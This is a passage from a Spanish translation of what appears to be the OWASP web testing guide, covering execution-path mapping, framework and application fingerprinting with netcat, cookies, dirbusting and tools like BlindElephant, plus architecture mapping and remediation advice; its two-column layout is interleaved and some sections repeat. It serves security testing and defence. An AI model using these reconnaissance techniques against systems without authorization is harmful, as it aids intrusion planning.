• CAT combinatoria y análisis de valores límite para cada ruta de decisión. Aunque este
enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente
con cada rama de decisión.
Accesorios de motores de búsqueda: • Flujo de Datos (o análisis de la mancha) - prueba la asignación de variables a
través de la interacción externa (normalmente los usuarios). Se centra en crear
• TamperIE for Internet Explorer mapas del flujo, transformación y uso de datos a través de una aplicación.
• Tamper Data for Firefox • Carrera - prueba varias instancias simultáneas de la aplicación manipulando los
mismos datos.
Referencias
El acuerdo en cuanto a qué método se utiliza y en qué medida se utiliza cada
Libros Blancos método debe ser negociado con el dueño de la aplicación. Enfoques más simples
podrían también adoptarse, incluyendo el preguntarle al dueño de la aplicación
las funciones o secciones del código por las que están particularmente
preocupados y cómo llegar a esos segmentos de código.
• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -
tools.ietf.org
Para demostrar la cobertura del código al dueño de la aplicación, el evaluador

Cree mapas de las rutas de ejecución a través puede iniciar con una hoja de cálculo y documentar todos los enlaces
descubiertos usando robots araña en la aplicación (manual o automáticamente).
de la aplicación (OTG-INFO-007) Entonces el evaluador puede mirar más de cerca los puntos de decisión en la
aplicación e investigar cuántas rutas de código importantes se descubren. Estas
Resumen deberían entonces documentarse en la hoja de cálculo con URL, prosa y captura
de pantalla de las descripciones de las rutas descubiertas.
Antes de comenzar las pruebas de seguridad, es de suma importancia entender la
estructura de la aplicación. Sin una comprensión profunda de la distribución de
la aplicación, es poco probable que sea probada exhaustivamente.
Pruebas de Caja Gris/Blanca
Asegurar suficiente cobertura de código para el dueño de la aplicación es mucho

Objetivos de la prueba más fácil con el enfoque de Caja Gris y Blanca para las pruebas. La información
solicitada y proporcionada al evaluador asegurará que se cumplan los requisitos
Crear mapas de la aplicación de destino y comprender los principales flujos de mínimos de cobertura de código.
trabajo.
Ejemplo
Cómo probar
Spidering automático
En las pruebas de Caja Negra es extremadamente difícil probar todo el código
base. No sólo porque el evaluador no tiene ninguna vista de las rutas de código a Los robots araña automáticos son una herramienta utilizada para descubrir
través de la aplicación, e incluso si lo hicieran, probar todas las rutas del código automáticamente nuevos recursos (URL) en un sitio web en
tomaría mucho tiempo. Una manera de reconciliar esto es documentar qué rutas
del código fueron descubiertas y probadas.

58
particular. Comienza con una lista de URL a visitar, llamadas semillas, que [1] en.wikipedia.org
dependen de cómo se inicia el robot araña. Si bien hay un montón de
herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy
(ZAP):
Framework referencial para el uso de huellas

digitales en aplicaciones web (OTG-INFO-
008)
Resumen
El framework web[*] marcar con huellas digitales es una subtarea importante

del proceso de recolección de información. Conocer el tipo de framework
puede automáticamente dar una gran ventaja si este framework ya ha sido
probado mediante pruebas de penetración. No son sólo las vulnerabilidades
conocidas en versiones sin parches, sino configuraciones erróneas específicas
en el framework y la estructura de archivo conocido que hace tan importante
el proceso de marcar con huellas digitales.
ZAP ofrece las siguientes carácterísticas de spidering automático, que pueden

Se utilizan varios proveedores diferentes y versiones de los frameworks web.
ser seleccionadas a partir de las necesidades del evaluador:
La información al respecto de estos ayuda significativamente en el proceso de
pruebas y también puede ayudar a cambiar el curso de la
• Sitio de Robot Araña - la lista de semillas contiene todas las URL existentes ya
encontradas en el sitio seleccionado.
prueba. Dicha información puede ser derivada de un cuidadoso análisis
• Subárbol de Robot araña - la lista de semillas contiene todas las URL existentes
ya encontradas y presentes en el subárbol del nodo seleccionado.
de ciertos lugares comunes. La mayoría de los frameworks web tienen varios
• URL de robot Araña - la lista de semillas contiene sólo la URL correspondiente
marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es
al nodo seleccionado (en el árbol de sitio).
básicamente lo que todas las herramientas automáticas hacen: buscar un
marcador desde una ubicación predefinida y luego compararlo con la base de
• Vista completa de Robot Araña - la lista de semillas contiene todas las URL
datos de firmas conocidas. Para mayor precisión se utilizan, generalmente,
que el usuario ha seleccionado como 'A la vista'.
varios marcadores.
Herramientas
[*] Tenga en cuenta que este artículo no hace ninguna diferenciación entre
Frameworks de aplicación Web (WAF) y sistemas de gestión de contenidos
• Zed Attack Proxy (ZAP)
(CMS). Esto se ha hecho para que sea conveniente marcar con huellas
digitales ambos casos en un solo capítulo. Además, se hace referencia a ambas
• Spreadsheet software
categorías como frameworks web.
• Diagramming software
Referencias
El tipo de framework web usado, asi como tener una mejor comprensión de la
metodología de pruebas de seguridad.
Libros Blancos

59
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el capítulo
#Remediación).
Cómo probar

Así, en el mismo ejemplo, el evaluador podría perder el encabezado X-
Hay varios lugares muy comunes para buscar definir el framework actual: Powered-By u obtener una respuesta similar a la siguiente:
• Encabezados HTTP
• Cookies
HTTP/1.1 200 OK
• Códigos fuente HTML
Server: nginx/1.0.14
• Carpetas y documentos específicos
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Encabezados HTTP
Connection: close
La forma básica de identificación de un framework web es mirar el campo X-
Powered-By en el encabezado de respuesta HTTP. Muchas herramientas Vary: Accept-Encoding
pueden utilizarse para marcar una huella digital. La más simple es la utilidad
netcat. X-Powered-By: Blood, sweat and tears
Considere la siguiente solicitud-respuesta HTTP:

A veces hay más encabezados HTTP que apuntan a un cierto framework web.
En el ejemplo siguiente, según la información de la solicitud HTTP, se puede
$ nc 127.0.0.1 80 ver que en X-Powered-By el encabezado contiene la versión de PHP. Sin
embargo, el encabezado X-Generator señala que el framework utilizado
HEAD / HTTP/1.0 realmente es Swiftlet, lo que ayuda a un evaluador de penetración a ampliar
sus vectores de ataque. Al realizar el marcaje de huellas digitales, inspeccione
siempre con cuidado cada encabezado HTTP en busca de tales fugas.
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Del campo X-Powered-By, entendemos que el framework de la aplicación

web es muy posiblemente Mono. Sin embargo, aunque este enfoque es simple
y rápido, esta metodología no funciona en el 100% de los casos. Es posible
deshabilitar fácilmente el encabezado X-Powered-By mediante una
configuración adecuada. También hay varias técnicas que permiten que un

60
framework CakePHP seleccionado, esto se podría hacer con la siguiente

HTTP/1.1 200 OK configuración (Extracto de core.php):
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT

/**
Content-Type: text/html
* The name of CakePHP’s session cookie.
Connection: keep-alive
*
* Note the guidelines for Session names states: “The session name
references
X-Powered-By: PHP/5.4.16-1~dotdeb.1
* the session id in cookies and URLs. It should contain only
Expires: Thu, 19 Nov 1981 08:52:00 GMT alphanumeric
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, * characters.”

pre-check=0
* @link http://php.net/session_name
Pragma: no-cache
*/
Cookies
Sin embargo, estos cambios son menos comunes que cambiar el encabezado
Otra manera similar pero más confiable de determinar el framework web
X-Powered-By, por lo que este enfoque puede ser considerado como más
actual es determinar el framework de cookies específicas.
confiable.
Considere la siguiente solicitud HTTP:
GET /cake HTTP /1.1 Código fuente HTML
Host: defcon-moscow.org Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de
la página HTML. A menudo se puede encontrar una gran cantidad de
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv: información que ayuda a un evaluador a reconocer un framework específico
22. 0) Gecko/20100101 Firefox/22 . 0 de la web. Uno de los marcadores comunes son comentarios HTML que
conducen directamente a la divulgación del framework. Más a menudo, ciertas
Accept: text/html, application/xhtml + xml, application/xml; q=0.9,
*/*; q=0 , 8 rutas específicas del framework pueden encontrarse, es decir, frameworks css
y/o carpetas js específicos. Finalmente, las variables de secuencia de
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 comandos (script) específicas podrían también apuntar a un cierto framework.
Accept - Encoding: gzip, deflate
DNT: 1 De la siguiente captura de pantalla uno puede aprender fácilmente el

framework y su versión de los marcadores mencionados. El comentario, rutas
Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71; específicas y variables del script pueden ayudar a un atacante a determinar
rápidamente una instancia del framework ZK.
Connection: Keep-alive
La cookie CAKEPHP ha sido establecida automáticamente, lo que da

información sobre el framework que se utiliza. Una lista de nombres comunes
de cookies se presenta en el capítulo #Cookies_2. Las limitaciones son las
mismas - es posible cambiar el nombre de la cookie. Por ejemplo, para el

61
Con mayor frecuencia, dicha información se coloca entre etiquetas Actualmente, es una de las mejores herramientas de huellas digitales en el
<head></head> en etiquetas <meta> o al final de la página. mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
• Cadenas de texto (mayúsculas y minúsculas)

Sin embargo, se recomienda revisar todo el documento ya que puede ser útil
para otros propósitos tales como inspección de otros comentarios útiles y • Expresiones regulares
campos ocultos. A veces, los desarrolladores web no se preocupan mucho por
ocultar información sobre el framework utilizado. Es posible toparse con algo • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
como esto en la parte inferior de la página:
• MD5 hashes
• reconocimiento de URL
• etiquetas de patrones HTML
• Códigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
BlindElephant
Archivos y carpetas específicos
Los archivos y carpetas específicos son diferentes en cada framework Página Web: community.qualys.com
específico. Se recomienda instalar el correspondiente framework durante las
pruebas de penetración para tener mejor entendimiento de qué infraestructura Esta magnífica herramienta funciona mediante el principio de
se presenta y qué archivos pueden quedar en el servidor. Sin embargo, ya checksum (suma de comprobación) de archivos estáticos
existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de
basados en la diferencia de la versión que proporciona así una
archivos y carpetas predecibles (code.google.com).
alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
Una lista de herramientas generales y muy conocidas se presenta a
continuación. También hay un sinfín de otras utilidades, así como
herramientas de huellas digitales basadas en frameworks.
WhatWeb:
Sitio Web: morningstarsecurity.com

62
Wapplyzer es un accesorio de Firefox Chrome. Sólo funciona en

pentester$ python BlindElephant.py http://my_target drupal coincidencias de expresiones regulares y no necesita otra cosa que
Loaded /Library/Python/2.7/site-
packages/blindelephant/dbs/drupal.pkl with 145 versions, 478
differentiating paths, and 434 version groups.
cargar la página en el navegador. Funciona totalmente a nivel de navegador y
Starting BlindElephant fingerprint for version of drupal at da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto
http://my_target es muy útil para tener una noción de qué tecnologías fueron utilizadas para
construir el sitio web de destino inmediatamente después de navegar por una
página.
Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn’t match known

Una muestra de la respuesta de un accesorio se presenta en la siguiente
fingerprint. 527b085a3717bd691d47713dff74acf4
captura de pantalla.
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt

fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Referencias
Hit http://my_target/themes/garland/style.css Libros Blancos
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, • Saumil Shah: “An Introduction to HTTP fingerprinting” -
7.10, 7.11, 7.12, 7.13, 7.14
net-square.com
...
• Anant Shrivastava : “Web Application Finger Printing” -
Fingerprinting resulted in: anantshri.info
Remediación
Wappalyzer El consejo general es usar varias de las herramientas descritas anteriormente y

verificar los registros para entender exactamente lo que ayuda a un atacante a
Página Web: http://wappalyzer.com revelar el framework de la web. Mediante la realización de múltiples análisis
después de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
framework no puede ser detectado por análisis automático. A continuación se
presentan algunas recomendaciones específicas, de acuerdo a la ubicación del
marcador del framework y algunos enfoques adicionales interesantes.

63
• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a

ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
Encabezados HTTP htaccess y agregando RewriteCond o RewriteRule allí. A continuación se
presenta un ejemplo de tal restricción para dos carpetas comunes de
Compruebe la configuración y desactive u ofusque todos los encabezados WordPress.
HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un
artículo interesante sobre ofuscación de encabezados HTTP con Netscaler:
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using- RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
netscaler.html
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]

Cookies
Se recomienda reemplazar los nombres de las cookies al hacer cambios en los Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
archivos de configuración correspondientes. fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
wordpress.org.
Código fuente HTML
Compruebe manualmente el contenido del código HTML y elimine todo lo

que explícitamente dirige al framework. Enfoques adicionales
Guías generales:
Guías generales:
[1] gestión de checksum
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
• Retire etiquetas de generación y META.

• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a
otra carpeta, o cambiar el nombre de la carpeta existente)..
• Utilice los archivos css o js propios de la empresa y no los almacene • Modificar el contenido - incluso una ligera modificación resulta en una suma
de hash completamente diferente, así que añadir un solo byte en el final del
archivo no debe ser un gran problema.
en carpetas de frameworks específicos.
• No utilice secuencias de comandos predeterminados en la página ni los [2] Caos controlado

ofusque si deben utilizarse.
Un método divertido y eficaz que implica agregar archivos y carpetas falsos
desde otros frameworks para engañar a los escáneres y confundir a un
atacante. Pero, ¡tenga cuidado de no sobreescribir las carpetas y archivos
Archivos y carpetas especificas
existentes o romper el framework actual!
Guias generales:
Aplicación de huellas digitales para web

• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica
archivos de texto que revelen información sobre las versiones y la instalación (OTG-INFO-009)
también.
64
Resumen
GET / HTTP/1.1
No hay nada nuevo bajo el sol, y casi cada aplicación web que se puede
pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
proyectos de software libre y de código abierto que son desarrollados y Gecko/20100101 Firefox/31.0
desplegados activamente alrededor del mundo, es muy probable que una
prueba de seguridad enfrentará un sitio objetivo que es total o parcialmente Accept:
dependiente de una de estas aplicaciones muy conocidas (por ejemplo, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las
Accept-Language: en-US,en;q=0.5
aplicaciones web que se están probando ayuda significativamente en el
proceso de prueba y se reduce drásticamente
‘’’Cookie: wp-settings-time-1=1406093286; wp-settings-time-
2=1405988284’’’
el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas
tienen encabezados HTML, cookies y estructuras de directorios que se pueden
DNT: 1
enumerar para identificar la aplicación.
Host: blog.owasp.org
Identificar la aplicación web y la versión para determinar vulnerabilidades

conocidas y la formas de explotarlas apropiadamente para usar durante la
prueba.
La cookie de CAKEPHP se ha establecido automáticamente, lo que da

información sobre el framework que se utiliza. Una lista de nombres comunes
Cómo probar de las cookies se presenta en la sección de Identificadores de Aplicación
Común. Sin embargo, es posible cambiar el nombre de la cookie.
Cookies
Una manera relativamente confiable de identificar una aplicación web es

mediante la aplicación de cookies específicas. Código fuente HTML
Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de

la página HTML. A menudo se puede encontrar una gran cantidad de
Considere la siguiente solicitud HTTP: información que ayuda a un evaluador a reconocer una aplicación web
específica. Uno de los marcadores comunes son los comentarios HTML que
conducen directamente a la divulgación de la aplicación. Más a menudo,
ciertas rutas específicas de la aplicación pueden encontrarse; es decir,
enlaces a aplicaciones css y carpetas js específicas.
Finalmente, las variables de script específico también pueden
apuntar a una aplicación determinada.
De la metaetiqueta siguiente, uno puede aprender fácilmente la

aplicación que utiliza un sitio web y su versión. El comentario,
rutas específicas y variables de script pueden ayudar a un
atacante para determinar rápidamente una instancia de una
aplicación.
<meta name="”generator”" content="”WordPress" 3.9.2”="">

65
Con mayor frecuencia, dicha información se coloca entre etiquetas

<head></head>, en etiquras <meta> o al final de la página. Sin embargo, se
recomienda revisar todo el documento ya que puede ser útil para otros
propósitos tales como inspección de otros comentarios
útiles y campos ocultos.
Archivos y carpetas específicos
Aparte de la información reunida de fuentes HTML, existe otro enfoque que

ayuda enormemente a un atacante a determinar la aplicación con una alta
precisión. Cada aplicación tiene su propia estructura específica de archivos y
carpetas en el servidor. Se ha señalado que se puede ver la ruta de acceso
específica desde la fuente de la página HTML, pero a veces no se presentan
explícitamente allí y todavía residen en el servidor.
Con el fin de descubrirlos se utiliza una técnica conocida como dirbusting.

Dirbusting es forzar un objetivo con nombres de carpetas y archivos
predecibles y monitorear las respuestas HTTP para enumerar el contenido del
Consejo: antes de iniciar el dirbusting, se recomienda revisar primero el
servidor. Esta información puede utilizarse tanto para buscar archivos por
archivo robots.txt. A veces se pueden encontrar allí también las carpetas
defecto y atacarlos, como para dejar huellas digitales en la aplicación web.
específicas de la aplicación y otra información sensible. Abajo se presenta un
Dirbusting se puede hacer de varias maneras; el ejemplo siguiente muestra un
ejemplo de un archivo robots.txt de este tipo en una captura de pantalla.
ataque exitoso mediante dirbusting contra un objetivo impulsado por
WordPress con la ayuda de la lista definida y la funcionalidad de intruso de
Burp Suite.
Las carpetas y archivos específicos son diferentes para cada aplicación. Se
recomienda instalar la aplicación correspondiente durante las pruebas de
penetración para tener un mejor entendimiento de qué infraestructura se utiliza
y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias
listas buenas de archivos y un buen ejemplo es la lista de archivos FuzzDB de
documentos y carpetas predecibles (http://code.google.com/p/fuzzdb/).
Podemos ver que para algunas carpetas de WordPress-específicas (por Identificadores de aplicación común
ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son
403 (prohibido), 302 (encontrado, redirección a wp-login.php) y 200 (OK), Cookies
respectivamente. Este es un buen indicador de que el objetivo es alimentado
por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones
plugin y sus versiones. En la imagen siguiente puede ver un archivo
CHANGELOG, típico de un plugin Drupal, que proporciona información
sobre la aplicación que está siendo usada y revela una versión del plugin
vulnerable.

66
Actualmente, una de las mejores herramientas de huellas digitales en el

mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
• Cadenas de texto (mayúsculas y minúsculas)
• Expresiones regulares
• Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
• MD5 hashes
• Reconocimiento de URL
• Etiquetas de patrones HTML
• Códigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
Código fuente HTML
BlindElephant
Página web: community.qualys.com
Esta magnífica herramienta funciona mediante el principio de checksum (suma

de comprobación) de archivos estáticos basados en la diferencia de la versión,
Más información: www.owasp.org proporcionando así una alta calidad de huellas digitales. Idioma:Python
Herramientas Muestra de respuesta de una huella digital exitosa:
A continuación se presenta una lista general de herramientas conocidas.

También hay una gran cantidad de otras utilidades, así como herramientas de
huellas digitales basadas en frameworks.
WhatWeb:
Sitio web: morningstarsecurity.com

67
utilizadas para construir el sitio web de destino inmediatamente después de

pentester$ python BlindElephant.py http://my_target drupal navegar por una página.
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl
with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at

http://my_target
Una muestra de la respuesta del plugin se presenta en la siguiente captura de
pantalla:
Hit http://my_target/CHANGELOG.txt

fingerprint. 527b085a3717bd691d47713dff74acf4
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt Referencias
File produced no match. Error: Retrieved file doesn’t match known Libros Blancos
fingerprint. 36b740941a19912f3fdbfcca7caa08ca
• Saumil Shah: “An Introduction to HTTP fingerprinting” - net-square.com

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9,
7.10, 7.11, 7.12, 7.13, 7.14
• Anant Shrivastava : “Web Application Finger Printing” - anantshri.info
...
Remediación
Fingerprinting resulted in:
El consejo general es usar varias de las herramientas descritas anteriormente y
verificar los registros para entender exactamente lo que ayuda a un atacante a
Wappalyzer
revelar el framework web. Mediante la realización de múltiples análisis
Página web: http://wappalyzer.com después de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
Wapplyzer es un plugin de Firefox Chrome. Sólo funciona en coincidencias framework no puede ser detectado por análisis automáticos. A continuación se
de expresiones regulares y no necesita otra cosa que cargar la página en el presentan algunas recomendaciones específicas, de acuerdo a la ubicación del
navegador. Funciona totalmente a nivel de marcador del framework y algunos enfoques adicionales interesantes.
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos Encabezados HTTP
positivos, esto es muy útil para tener una noción de qué tecnologías fueron

68
Compruebe la configuración y desactive u ofusque todos los encabezados • Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a
HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: htaccess y agregando RewriteCond o RewriteRule allí. A continuación se
grahamhosking.blogspot.ru presenta un ejemplo de tal restricción para dos carpetas comunes de
WordPress.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]

Cookies
RewriteCond %{REQUEST_URI} /wp-admin/$
Se recomienda cambiar los nombres de las cookies al hacer cambios en los
archivos de configuración correspondientes.
RewriteRule $ /http://your_website [R=404,L]
Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
Código fuente HTML
wordpress.org.
Compruebe manualmente el contenido del código HTML y elimine todo lo
que explícitamente señala el framework.
Enfoques adicionales
Guías generales: Guías generales:
[1] gestión de checksum
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer a los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
• Retire etiquetas de generación y META.

• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a
• Utilice los archivos css o js propios de la empresa y no los almacene otra carpeta, o cambiar el nombre de la carpeta existente)
• Modificar el contenido - incluso una ligera modificación resulta en una suma

de hash completamente diferente, así que añadir un solo byte en el final del
archivo no deben ser un gran problema.
en carpetas de frameworks específicos.
• No utilice secuencias de comandos predeterminados en la página ni los [2] Caos controlado

ofusque si deben utilizarse.
Un método divertido y eficaz que implica agregar archivos y carpetas falsos
a los escáneres y confundir a un
desde otros frameworks para engañar
Archivos y carpetas especificas atacante. ¡Pero tenga cuidado de no sobreescribir las carpetas
y archivos existentes o romper el framework actual!.
Guias generales:
• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica Cree un mapa de la arquitectura de la
archivos de texto que revelen información sobre las versiones y la instalación
también.
aplicación (OTG-INFO-010)
Resumen

69
La complejidad de la infraestructura de servidores web interconectados y mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposición y
heterogéneos puede incluir cientos de aplicaciones web y hace de la gestión de amplia el mapa de arquitectura. El evaluador comenzará haciendo preguntas simples
configuración y de la revisión un paso fundamental en la prueba e como: "¿existe un sistema firewalling que protege al servidor web?". Esta pregunta
implementación de cada aplicación. De hecho, se necesita sólo una se responderá a partir de los resultados del análisis de red orientada hacia el servidor
vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso web y el análisis de si los puertos de red del servidor web se están filtrando en el
problemas pequeños y sin importancia aparente pueden convertirse en serios límite de la red (no se recíbe ninguna respuesta o se reciben mensajes de ICMP
riesgos para otra aplicación en el mismo servidor. inalcanzables) o si el servidor está conectado directamente a Internet (es decir,
devuelve paquetes RST para todos los puertos de no audio). Este análisis puede ser
mejorado para determinar el tipo de firewall utilizado, basado en pruebas de
paquetes de red. ¿Es el firewall una aplicación de estado completo o es un filtro de
Para abordar estos problemas, es de suma importancia llevar a cabo lista de acceso en un ruteador? ¿Cómo está configurado? ¿Puede evitarse?
una profunda revisión de la configuración y problemas de seguridad Detectar a un proxy inverso delante de un servidor web debe hacerse por el análisis
conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de del banner del servidor web, que podría revelar directamente la existencia de un
la red y de la arquitectura de la aplicación. Los diferentes elementos que proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). También puede ser
conforman la infraestructura necesitan ser determinados para entender cómo determinado mediante la obtención de las respuestas dadas por el servidor web a las
interactúan con una aplicación web y cómo ellos afectan a la seguridad. peticiones y comparándolas con las respuestas esperadas. Por ejemplo, algunos
proxys inversos actúan como "sistemas de prevención de intrusiones" (o escudos
web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el
servidor web responde con un mensaje 404 a una petición que se dirige a una página
que no está disponible y devuelve un mensaje de error diferente para algunos ataques
web comunes como los realizados por escáneres CGI, podría ser una indicación de
Cómo probar que existe un proxy inverso (o un firewall de nivel de aplicación) que está filtrando
las solicitudes y devuelve una página de error diferente a lo que se espera. Otro
Cree un mapa de la arquitectura de la aplicación ejemplo: Si el servidor web devuelve un
Se debe crear el mapa de la arquitectura de la aplicación mediante algunas conjunto de métodos HTTP disponibles (incluyendo TRACE) pero los métodos
pruebas para determinar qué componentes se usan para construir la aplicación esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
web. En instalaciones pequeñas, una sencilla aplicación basada en CGI podría
utilizar un solo servidor para que corra el servidor web que ejecuta la
aplicación C, Perl o Shell CGIs y quizás también el mecanismo de
autenticación. En algunos casos, incluso el sistema de protección se entrega a sí mismo:
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

En configuraciones más complejas, tales como un sistema de banca en línea, pueden
estar involucrados múltiples servidores. Estos pueden incluir un proxy inverso, un HTTP/1.0 200
servidor web de acceso frontal (front-end), un servidor de aplicaciones y un servidor
Pragma: no-cache
de base de datos o servidor de LDAP. Cada uno de estos servidores se utilizan para
propósitos diferentes y podrían incluso estar divididos en diferentes redes con Cache-Control: no-cache
firewalls entre ellos. Esto crea diferentes DMZ para que el acceso al servidor web no
conceda un acceso de usuario remoto al mismo mecanismo de autenticación, y para Content-Type: text/html
que los riesgos de los diferentes elementos dentro de la arquitectura pueden ser
aislados para que no comprometerán el resto de la arquitectura. Content-Length: 83
Obtener conocimiento de la arquitectura de la aplicación puede ser fácil si esta <TITLE>Error</TITLE>

información es proporcionada al equipo de pruebas por los desarrolladores de la
aplicación en un documento o a través de entrevistas, pero también puede resultar
muy difícil si se hace una prueba de penetración ciega.
Ejemplo del servidor de seguridad del punto de chequeo Firewall-1 NG AI

En este último caso, un evaluador comenzará primero con el supuesto de que existe "que protege" un servidor web:
una configuración simple (un solo servidor). Entonces él recupera la información

70
Los proxys inversos también se pueden presentar como proxy-caché para acelerar [1] WebSEAL, también conocido como Tivoli Authentication Manager, es un
el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La proxy inverso de IBM que es parte del framework de Tivoli.
detección de estos proxies puede hacerse a base del encabezado del servidor.
También pueden detectarse tomando el tiempo de las peticiones que deben ser [2] Hay algunas herramientas de administración basadas en GUI para Apache
almacenadas en caché por el servidor de sincronización y comparando el tiempo de (como NetLoony), pero todavía no son de uso generalizado.
la primera solicitud con las solicitudes subsiguientes.
Pruebas para gestionar la configuración

Otro elemento que puede detectarse son los equilibradores de carga de red. Por lo
general, estos sistemas equilibrarán un determinado puerto TCP/IP en varios Entender la configuración desplegada del servidor que aloja la aplicación web es
servidores basados en algoritmos diferentes (cadena de mensajes, la carga del casi tan importante como las pruebas de seguridad de la aplicación misma. Después
servidor web, número de solicitudes, etc.). Por lo tanto, la detección de este de todo, una cadena de aplicaciónes sólo es tan fuerte como su eslabón más débil.
elemento de la arquitectura debe hacerse examinando varias solicitudes y Las plataformas de aplicación son amplias y variadas, pero algunos errores de
comparando los resultados para determinar si las solicitudes van al mismo servidor configuración claves en la plataforma pueden comprometer la aplicación de la
o a diferentes servidores. Por ejemplo, basado en el encabezado de fecha si los misma manera que una aplicación no segura puede comprometer el servidor.
relojes del servidor no están sincronizados. En algunos casos, el proceso de
equilibrio de carga de red puede inyectar nueva información en los encabezados
que destacan claramente, como la cookie de AlteonP introducida por el
equilibrador de carga de Nortel Alteon WebSystems.
Pruebe la configuración de la infraestructura y
la red (OTG-CONFIG-001)
Los servidores de aplicaciones web son generalmente fáciles de detectar. La
Resumen
solicitud de varios recursos es manejada por el mismo servidor de aplicaciones (no
por el servidor web) y el encabezado de respuesta variará significativamente
La complejidad intrínseca de una infraestructura de servidor web interconectada y
(incluyendo valores diferentes o adicionales en el encabezado de respuesta). Otra
heterogénea, que puede incluir cientos de aplicaciones web, hace de la gestión de la
forma de detectar esto es ver si el servidor web intenta establecer cookies, las cuales
configuración y revisión un paso fundamental en la prueba e implementación de
son indicativas de que se utiliza un servidor de aplicación web (como el
cada aplicación. Toma sólo una vulnerabilidad el socavar la seguridad de toda la
